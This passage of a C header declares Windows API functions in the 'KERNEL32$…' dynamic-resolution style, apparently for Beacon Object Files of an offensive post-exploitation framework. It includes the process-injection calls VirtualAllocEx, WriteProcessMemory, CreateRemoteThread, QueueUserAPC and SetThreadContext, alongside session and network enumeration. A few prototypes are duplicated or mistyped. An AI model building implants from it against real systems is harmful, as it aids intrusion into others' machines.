FILETIME *lpFileTime, LPSYSTEMTIME lpSystemTime);\nWINBASEAPI int WINAPI KERNEL32$GetDateFormatW (LCID Locale, DWORD dwFlags, CONST SYSTEMTIME *lpDate, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate);\nWINBASEAPI VOID WINAPI KERNEL32$GetSystemTimeAsFileTime (LPFILETIME lpSystemTimeAsFileTime);\nWINBASEAPI VOID WINAPI KERNEL32$GetLocalTime (LPSYSTEMTIME lpSystemTime);\nWINBASEAPI WINBOOL WINAPI KERNEL32$SystemTimeToFileTime (CONST SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime);\nWINBASEAPI WINBOOL WINAPI KERNEL32$SystemTimeToTzSpecificLocalTime (CONST TIME_ZONE_INFORMATION *lpTimeZoneInformation, CONST SYSTEMTIME *lpUniversalTime, LPSYSTEMTIME lpLocalTime);\nWINBASEAPI WINBOOL WINAPI KERNEL32$GlobalMemoryStatusEx (LPMEMORYSTATUSEX lpBuffer);\nWINBASEAPI WINBOOL WINAPI KERNEL32$GetDiskFreeSpaceExA (LPCSTR lpDirectoryName, PULARGE_INTEGER lpFreeBytesAvailableToCaller, PULARGE_INTEGER lpTotalNumberOfBytes, PULARGE_INTEGER lpTotalNumberOfFreeBytes);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess (VOID);\nDECLSPEC_IMPORT DWORD KERNEL32$GetCurrentProcessId(VOID);\nWINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID);\nWINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle (HANDLE hObject);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);\nWINBASEAPI DWORD WINAPI KERNEL32$GetTickCount (VOID);\nWINBASEAPI ULONGLONG WINAPI KERNEL32$GetTickCount64 (VOID);\nWINBASEAPI LPVOID WINAPI KERNEL32$CreateFiber (SIZE_T dwStackSize, LPFIBER_START_ROUTINE lpStartAddress, LPVOID lpParameter);\nWINBASEAPI LPVOID WINAPI KERNEL32$ConvertThreadToFiber (LPVOID lpParameter);\nWINBASEAPI WINBOOL WINAPI KERNEL32$ConvertFiberToThread (VOID);\nWINBASEAPI VOID WINAPI KERNEL32$DeleteFiber (LPVOID lpFiber);\nWINBASEAPI VOID WINAPI KERNEL32$SwitchToFiber (LPVOID lpFiber);\nWINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds);\nWINBASEAPI VOID WINAPI KERNEL32$Sleep (DWORD dwMilliseconds);\nWINBASEAPI WINBOOL WINAPI KERNEL32$DeleteFileW (LPCWSTR lpFileName);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);\nWINBASEAPI DWORD WINAPI KERNEL32$GetFileSize (HANDLE hFile, LPDWORD lpFileSizeHigh);\nWINBASEAPI WINBOOL WINAPI KERNEL32$ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);\nWINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);\nWINBASEAPI WINBOOL WINAPI KERNEL32$GetComputerNameExW (COMPUTER_NAME_FORMAT NameType, LPWSTR lpBuffer, LPDWORD nSize);\nWINBASEAPI int WINAPI KERNEL32$lstrlenW (LPCWSTR lpString);\nWINBASEAPI LPWSTR WINAPI KERNEL32$lstrcatW (LPWSTR lpString1, LPCWSTR lpString2);\nWINBASEAPI LPWSTR WINAPI KERNEL32$lstrcpynW (LPWSTR lpString1, LPCWSTR lpString2, int iMaxLength);\nWINBASEAPI DWORD WINAPI KERNEL32$GetFullPathNameW (LPCWSTR lpFileName, DWORD nBufferLength, LPWSTR lpBuffer, LPWSTR *lpFilePart);\nWINBASEAPI DWORD WINAPI KERNEL32$GetFileAttributesW (LPCWSTR lpFileName);\nWINBASEAPI DWORD WINAPI KERNEL32$GetCurrentDirectoryW (DWORD nBufferLength, LPWSTR lpBuffer);\nWINBASEAPI HANDLE WINAPI KERNEL32$FindFirstFileW (LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData);\nWINBASEAPI HANDLE WINAPI KERNEL32$FindFirstFileA (char * lpFileName, LPWIN32_FIND_DATA lpFindFileData);\nWINBASEAPI WINBOOL WINAPI KERNEL32$FindNextFileW (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);\nWINBASEAPI WINBOOL WINAPI KERNEL32$FindNextFileA (HANDLE hFindFile, LPWIN32_FIND_DATA lpFindFileData);\nWINBASEAPI WINBOOL WINAPI KERNEL32$FindClose (HANDLE hFindFile);\nWINBASEAPI VOID WINAPI KERNEL32$SetLastError (DWORD dwErrCode);\n#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define intRealloc(ptr, size) (ptr) ? KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ptr, size) : KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)\n#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)\n#define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size)\nDECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalAlloc(UINT uFlags, SIZE_T dwBytes);\nDECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalFree(HGLOBAL hMem);\nDECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalReAlloc(HGLOBAL hMem, SIZE_T dwBytes, UINT uFlags);\nWINBASEAPI DWORD   WINAPI KERNEL32$GetFileType(HANDLE hFile);\nWINBASEAPI WINBOOL WINAPI KERNEL32$DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwOptions);\nWINBASEAPI WINBOOL WINAPI KERNEL32$DeleteFileA(LPCSTR lpFileName);\nDECLSPEC_IMPORT LPTCH WINAPI KERNEL32$GetEnvironmentStrings();\nDECLSPEC_IMPORT LPWCH WINAPI KERNEL32$GetEnvironmentStringsW();\nDECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$FreeEnvironmentStringsA(LPSTR);\nWINBASEAPI DWORD WINAPI KERNEL32$ExpandEnvironmentStringsW (LPCWSTR lpSrc, LPWSTR lpDst, DWORD nSize);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID);\nWINBASEAPI WINBOOL WINAPI KERNEL32$Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);\nWINBASEAPI WINBOOL WINAPI KERNEL32$Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);\nWINBASEAPI WINBOOL WINAPI KERNEL32$Module32First(HANDLE hSnapshot,LPMODULEENTRY32 lpme);\nWINBASEAPI WINBOOL WINAPI KERNEL32$Module32Next(HANDLE hSnapshot,LPMODULEENTRY32 lpme);\nWINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR lpLibFileName);\nWINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE hModule, LPCSTR lpProcName);\nWINBASEAPI WINBOOL WINAPI KERNEL32$FreeLibrary (HMODULE hLibModule);\nDECLSPEC_IMPORT WINBASEAPI int WINAPI KERNEL32$lstrlenA(LPCSTR);\nDECLSPEC_IMPORT int WINAPI KERNEL32$GetLocaleInfoEx(LPCWSTR lpLocaleName, LCTYPE LCType, LPWSTR lpLCData, int cchData);\nWINBASEAPI int WINAPI KERNEL32$GetSystemDefaultLocaleName(LPCWSTR lpLocaleName, int cchLocaleName);\nDECLSPEC_IMPORT LCID WINAPI KERNEL32$LocaleNameToLCID(LPCWSTR lpName, DWORD dwFlags);\nDECLSPEC_IMPORT int WINAPI KERNEL32$GetDateFormatEx(LPCWSTR lpLocaleName, DWORD dwFlags, const SYSTEMTIME *lpData, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate, LPCWSTR lpCalendar);\nWINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);\nWINBASEAPI WINBOOL WINAPI KERNEL32$VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpfOldProtect);\nWINBASEAPI WINBOOL WINAPI KERNEL32$VirtualProtectEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);\nWINBASEAPI SIZE_T WINAPI KERNEL32$VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);\nWINBASEAPI SIZE_T WINAPI KERNEL32$VirtualQueryEx (HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);\nWINBASEAPI int WINAPI KERNEL32$VirtualFreeEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);\nWINBASEAPI int WINAPI KERNEL32$MultiByteToWideChar (UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);\nWINBASEAPI VOID WINAPI KERNEL32$GetSystemInfo (LPSYSTEM_INFO lpSystemInfo);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread (VOID);\nWINBASEAPI DWORD WINAPI KERNEL32$GetProcessIdOfThread (HANDLE Thread);\nWINBASEAPI WINBOOL WINAPI KERNEL32$ProcessIdToSessionId (DWORD dwProcessId, DWORD *pSessionId);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateRemoteThread (HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);\nWINBASEAPI HANDLE WINAPI KERNEL32$OpenThread (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwThreadId);\nWINBASEAPI WINBOOL WINAPI KERNEL32$GetThreadContext (HANDLE hThread, LPCONTEXT lpContext);\nWINBASEAPI WINBOOL WINAPI KERNEL32$SetThreadContext (HANDLE hThread, CONST LPCONTEXT lpContext);\nWINBASEAPI DWORD WINAPI KERNEL32$SuspendThread (HANDLE hThread);\nWINBASEAPI DWORD WINAPI KERNEL32$ResumeThread (HANDLE hThread);\nWINBASEAPI DWORD WINAPI KERNEL32$GetThreadId(HANDLE hThread);\nWINBASEAPI WINBOOL WINAPI KERNEL32$TerminateThread (HANDLE hThread, DWORD dwExitCode);\nWINBASEAPI WINBOOL WINAPI KERNEL32$TerminateProcess(HANDLE hProcess, UINT uExitcode);\nWINBASEAPI WINBOOL WINAPI KERNEL32$GetExitCodeProcess (HANDLE hProcess, LPDWORD lpExitCode);\nWINBASEAPI DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA (LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);\nWINBASEAPI BOOL WINAPI KERNEL32$GetFileSizeEx(HANDLE hFile, PLARGE_INTEGER lpFileSize);\nWINBASEAPI WINBOOL WINAPI KERNEL32$WriteFile (HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);\nWINBASEAPI DWORD WINAPI KERNEL32$SetFilePointer (HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);\nWINBASEAPI WINBOOL WINAPI KERNEL32$GetFileInformationByHandle (HANDLE hFile, LPBY_HANDLE_FILE_INFORMATION lpFileInformation);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateFileMappingA (HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName);\nWINBASEAPI LPVOID WINAPI KERNEL32$MapViewOfFile (HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap);\nWINBASEAPI WINBOOL WINAPI KERNEL32$UnmapViewOfFile (LPCVOID lpBaseAddress);\nWINBASEAPI WINBOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);\nWINBASEAPI WINBOOL WINAPI KERNEL32$ReadProcessMemory (HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);\nWINBASEAPI WINBOOL WINAPI KERNEL32$CreateProcessW (LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, WINBOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);\nWINBASEAPI WINBOOL WINAPI KERNEL32$CreateProcessA (LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, WINBOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);\nWINBASEAPI WINBOOL WINAPI KERNEL32$InitializeProcThreadAttributeList (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwAttributeCount, DWORD dwFlags, PSIZE_T lpSize);\nWINBASEAPI WINBOOL WINAPI KERNEL32$UpdateProcThreadAttribute (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwFlags, DWORD_PTR Attribute, PVOID lpValue, SIZE_T cbSize, PVOID lpPreviousValue, PSIZE_T lpReturnSize);\nWINBASEAPI VOID WINAPI KERNEL32$DeleteProcThreadAttributeList (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList);\nWINBASEAPI WINBOOL WINAPI KERNEL32$GetComputerNameA (LPSTR lpBuffer, LPDWORD nSize);\nWINBASEAPI int WINAPI KERNEL32$lstrcmpA (LPCSTR lpString1, LPCSTR lpString2);\nWINBASEAPI int WINAPI KERNEL32$lstrcmpW (LPCWSTR lpString1, LPCWSTR lpString2);\nWINBASEAPI int WINAPI KERNEL32$lstrcmpiW (LPCWSTR lpString1, LPCWSTR lpString2);\nWINBASEAPI DWORD WINAPI KERNEL32$GetFinalPathNameByHandleW(HANDLE hFile, LPWSTR lpszFilePath, DWORD cchFilePath, DWORD dwFlags);\nWINBASEAPI DWORD WINAPI KERNEL32$GetFileAttributesA(LPCSTR lpFileName);\nWINBASEAPI WINBOOL WINAPI KERNEL32$CreateDirectoryW (LPCWSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes);\nWINBASEAPI DWORD WINAPI KERNEL32$GetEnvironmentVariableA(LPCSTR lpName, LPSTR lpBuffer, DWORD nSize);\nWINBASEAPI DWORD WINAPI KERNEL32$ExpandEnvironmentStringsA (LPCSTR lpSrc, LPSTR lpDst, DWORD nSize);\nWINBASEAPI DWORD WINAPI KERNEL32$GetTempPathW (DWORD nBufferLength, LPWSTR lpBuffer);\nWINBASEAPI DWORD WINAPI KERNEL32$GetTempFileNameW (LPCWSTR lpPathName, LPCWSTR lpPrefixString, UINT uUnique, LPWSTR lpTempFileName);\nWINBASEAPI BOOL WINAPI KERNEL32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);\nWINBASEAPI BOOL WINAPI KERNEL32$SetEvent (HANDLE hEvent);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateEventA (LPSECURITY_ATTRIBUTES lpEventAttributes, WINBOOL bManualReset, WINBOOL bInitialState, LPCSTR lpName);\nWINBASEAPI BOOL WINAPI KERNEL32$CreatePipe(PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize);\nWINBASEAPI BOOL WINAPI KERNEL32$PeekNamedPipe(HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage);\nWINBASEAPI HANDLE WINAPI KERNEL32$CreateNamedPipeA(LPCSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes);\nWINBASEAPI BOOL WINAPI KERNEL32$ConnectNamedPipe(HANDLE hNamedPipe, LPOVERLAPPED lpOverlapped);\nWINBASEAPI BOOL WINAPI KERNEL32$GetBinaryTypeW(LPCWSTR lpApplicationName, LPDWORD lpBinaryType);\nWINBASEAPI BOOL WINAPI KERNEL32$DeviceIoControl (HANDLE hDevice, DWORD dwIoControlCode, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsBadWritePtr(LPVOID lp, UINT_PTR ucb);\nWINBASEAPI BOOL WINAPI KERNEL32$QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount);\nWINBASEAPI BOOL WINAPI KERNEL32$QueryPerformanceFrequency(LARGE_INTEGER *lpFrequency);\nWINBASEAPI DWORD WINAPI KERNEL32$QueueUserAPC(PAPCFUNC pfnAPC, HANDLE hThread, ULONG_PTR dwData);\nWINBASEAPI DWORD WINAPI KERNEL32$GetModuleFileNameA(HANDLE hModule, LPSTR lpFilename, DWORD nSize);\nWINBASEAPI DWORD WINAPI KERNEL32$GetProcessHeaps(DWORD NumberOfHeaps, PHANDLE ProcessHeaps);\nWINBASEAPI HWND WINAPI KERNEL32$GetConsoleWindow(void);\nWINBASEAPI BOOL WINAPI KERNEL32$AllocConsole(void);\nWINBASEAPI BOOL WINAPI KERNEL32$FreeConsole(void);\nWINBASEAPI HANDLE WINAPI KERNEL32$GetStdHandle(DWORD nStdHandle);\nWINBASEAPI BOOL WINAPI KERNEL32$SetStdHandle(DWORD nStdHandle, HANDLE hHandle);\nWINBASEAPI UINT WINAPI KERNEL32$GetWindowsDirectoryA(LPSTR lpBuffer, UINT uSize);\nWINBASEAPI LPWSTR WINAPI KERNEL32$GetCommandLineW(VOID);\nWINBASEAPI LPSTR WINAPI KERNEL32$GetCommandLineA(VOID);\nDECLSPEC_IMPORT DECLSPEC_NORETURN VOID WINAPI KERNEL32$ExitThread (DWORD dwExitCode);\nDECLSPEC_IMPORT long WINAPI KERNEL32$InterlockedIncrement(LONG volatile* Addend);\n\n//WTSAPI32\nDECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSEnumerateSessionsA(LPVOID, DWORD, DWORD, PWTS_SESSION_INFO*, DWORD*);\nWINBASEAPI BOOL WINAPI WTSAPI32$WTSEnumerateSessionsW(HANDLE hServer, DWORD Reserved, DWORD Version, PWTS_SESSION_INFOW *ppSessionInfo, DWORD *pCount);\nDECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSQuerySessionInformationA(LPVOID, DWORD, WTS_INFO_CLASS , LPSTR*, DWORD*);\nWINBASEAPI BOOL WINAPI WTSAPI32$WTSQuerySessionInformationW(HANDLE hServer, DWORD SessionId, WTS_INFO_CLASS WTSInfoClass, LPWSTR *ppBuffer, DWORD *pBytesReturned);\nDECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSFreeMemory(PVOID);\n\n//Iphlpapi.lib\n//ULONG WINAPI IPHLPAPI$GetAdaptersInfo (PIP_ADAPTER_INFO AdapterInfo, PULONG SizePointer);\nDECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetAdaptersInfo(PIP_ADAPTER_INFO,PULONG);\nDECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetIpForwardTable (PMIB_IPFORWARDTABLE pIpForwardTable, PULONG pdwSize, WINBOOL bOrder);\nDECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetNetworkParams(PFIXED_INFO,PULONG);\nDECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetUdpTable (PMIB_UDPTABLE UdpTable, PULONG SizePointer, WINBOOL Order);\nDECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetTcpTable (PMIB_TCPTABLE TcpTable, PULONG SizePointer, WINBOOL Order);\nDECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetIpNetTable(PMIB_IPNETTABLE IpNetTable,PULONG SizePointer, BOOL Order);\nDECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetTcpTable2(PMIB_TCPTABLE2 TcpTable, PULONG SizePointer, BOOL Order);\nDECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetTcp6Table2(PMIB_TCP6TABLE2 TcpTable, PULONG SizePointer, BOOL Order);\n\n//MSVCRT\nWINBASEAPI char *__cdecl MSVCRT$_ultoa(unsigned long _Value,char *_Dest,int _Radix);\nWINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements);\nWINBASEAPI void *__cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount);\nWINBASEAPI int __cdecl MSVCRT$memcmp(const void *_Buf1,const void *_Buf2,size_t _Size);\nWINBASEAPI void *__cdecl MSVCRT$realloc(void *_Memory, size_t _NewSize);\nWINBASEAPI void __cdecl MSVCRT$free(void *_Memory);\nWINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);\nWINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...);\nWINBASEAPI int __cdecl MSVCRT$vsnprintf(char * __restrict__ d,size_t n,const char * __restrict__ format,va_list arg);\nWINBASEAPI int __cdecl MSVCRT$_snwprintf(wchar_t * __restrict__ _Dest,size_t _Count,const wchar_t * __restrict__ _Format,...);\nWINBASEAPI errno_t __cdecl MSVCRT$wcscpy_s(wchar_t *_Dst, rsize_t _DstSize, const wchar_t *_Src);\nWINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);\nWINBASEAPI size_t __cdecl MSVCRT$wcstombs(char * __restrict__ _Dest,const wchar_t * __restrict__ _Source,size_t _MaxCount);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcscmp(const wchar_t *_lhs,const wchar_t *_rhs);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcstok(wchar_t * __restrict__ _Str,const wchar_t * __restrict__ _Delim);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcstok_s(wchar_t *_Str,const wchar_t *_Delim,wchar_t **_Context);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcsstr(const wchar_t *_Str,const wchar_t *_SubStr);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcscat(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Source);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcsncat(wchar_t * __restrict__ _Dest, const wchar_t * __restrict__ _Source, size_t _Count);\nWINBASEAPI wchar_t *__cdecl MSVCRT$strncat(char * __restrict__ _Dest,const char * __restrict__ _Source, size_t _Count);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcscpy(wchar_t * __restrict__ _Dest, const wchar_t * __restrict__ _Source);\nWINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *_Str1,const wchar_t *_Str2);\nWINBASEAPI int __cdecl MSVCRT$_wcsnicmp(const wchar_t *_Str1,const wchar_t *_Str2, size_t _Count);\nWINBASEAPI int __cdecl MSVCRT$_strnicmp(const char *_Str1,const char *_Str2, size_t _Count);\nWINBASEAPI _CONST_RETURN wchar_t *__cdecl MSVCRT$wcschr(const wchar_t *_Str, wchar_t _Ch);\n\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcsrchr(const wchar_t *_Str,wchar_t _Ch);\nWINBASEAPI wchar_t *__cdecl MSVCRT$wcsrchr(const wchar_t *_Str,wchar_t _Ch);\nWINBASEAPI unsigned long __cdecl MSVCRT$wcstoul(const wchar_t * __restrict__ _Str,wchar_t ** __restrict__ _EndPtr,int _Radix);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strcat(char * __restrict__ _Dest,const char * __restrict__ _Source);\nWINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *_Str,size_t _MaxCount);\nWINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str);\nDECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char *_Str1,const char *_Str2);\nDECLSPEC_IMPORT int __cdecl MSVCRT$_stricmp(const char *string1,const char *string2);\nWINBASEAPI int __cdecl MSVCRT$strncmp(const char *_Str1,const char *_Str2,size_t _MaxCount);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strcpy(char * __restrict__ __dst, const char * __restrict__ __src);\nDECLSPEC_IMPORT PCHAR __cdecl MSVCRT$strstr(const char *haystack, const char *needle);\nDECLSPEC_IMPORT PCHAR __cdecl MSVCRT$strchr(const char *haystack, int needle);\nDECLSPEC_IMPORT char *__cdecl MSVCRT$strtok(char * __restrict__ _Str,const char * __restrict__ _Delim);\n_CRTIMP char *__cdecl MSVCRT$strtok_s(char *_Str,const char *_Delim,char **_Context);\nWINBASEAPI unsigned long __cdecl MSVCRT$strtoul(const char * __restrict__ _Str,char ** __restrict__ _EndPtr,int _Radix);\nWINBASEAPI size_t __cdecl MSVCRT$strftime(char *_DstBuf,size_t _SizeInBytes,const char *_Format,const struct tm *_Tm);\nWINBASEAPI struct tm * __cdecl MSVCRT$gmtime(const time_t *_Time);\nWINBASEAPI wchar_t * __cdecl MSVCRT$wcsncat(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Source,size_t _Count);\nWINBASEAPI void *__cdecl MSVCRT$malloc(size_t size);\nWINBASEAPI int __cdecl MSVCRT$sprintf_s(char *buffer, size_t sizeOfBuffer, const char *format, ...);\nWINBASEAPI int __cdecl MSVCRT$_snprintf(char * __restrict__ _Dest,size_t _Count,const char * __restrict__ _Format,...);\nWINBASEAPI int __cdecl MSVCRT$sscanf(const char * __restrict__ _Src,const char * __restrict__ _Format,...);\nWINBASEAPI int __cdecl MSVCRT$swprintf(wchar_t *__stream, const wchar_t *__format, ...);\nWINBASEAPI int __cdecl MSVCRT$swprintf_s(wchar_t *buffer, size_t sizeOfBuffer, const wchar_t *format, ...);\nWINBASEAPI int __cdecl MSVCRT$_swprintf(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Format,...);\nWINBASEAPI errno_t __cdecl MSVCRT$wcsncpy_s(wchar_t *_Dst, rsize_t _SizeInWords, const wchar_t *_Src, rsize_t _MaxCount);\nWINBASEAPI errno_t __cdecl MSVCRT$strcpy_s(char *dest, rsize_t destsz, const char *src);\nWINBASEAPI errno_t __cdecl MSVCRT$wcscat_s(wchar_t *dest, size_t destsz, const wchar_t *src);\nWINBASEAPI errno_t __cdecl MSVCRT$mbstowcs_s(size_t* pReturnValue, wchar_t* wcstr, size_t sizeInWords, const char* mbstr, size_t count);\nWINBASEAPI int __cdecl MSVCRT$wcsncmp(const wchar_t *_Str1,const wchar_t *_Str2, size_t count);\nWINBASEAPI long __cdecl MSVCRT$_wtol(const wchar_t * str);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strncpy(char * __restrict__ _Dest,const char * __restrict__ _Source,size_t _Count);\nDECLSPEC_IMPORT char * __cdecl MSVCRT$strrchr(const char *_Str, int _Ch);\nWINBASEAPI time_t __cdecl MSVCRT$time(time_t *_Time);\n_CRTIMP __time32_t __cdecl MSVCRT$_time32(__time32_t *_Time);\n_CRTIMP __time64_t __cdecl MSVCRT$_time64(__time64_t *_Time);\nWINBASEAPI int __cdecl MSVCRT$atoi(const char *_Str);\nWINBASEAPI char* __cdecl MSVCRT$_itoa(int value, char* str, int base);\nWINBASEAPI int __cdecl MSVCRT$_atoi(const char* str);\nWINBASEAPI int __cdecl MSVCRT$rand(void);\nWINBASEAPI void __cdecl MSVCRT$srand(unsigned int _Seed);\nWINBASEAPI unsigned long long __cdecl MSVCRT$_strtoull(const char* strSource, char** endptr, int base);\nWINBASEAPI __int64 __cdecl MSVCRT$_strtoi64(const char* strSource, char** endptr, int base);\nWINBASEAPI void __cdecl MSVCRT$_cexit();\nWINBASEAPI int __cdecl MSVCRT$printf(const char* format, ...);\nWINBASEAPI int __cdecl MSVCRT$_dup (int _FileHandle);\nWINBASEAPI int __cdecl MSVCRT$_dup2(int _FileHandleSrc, int 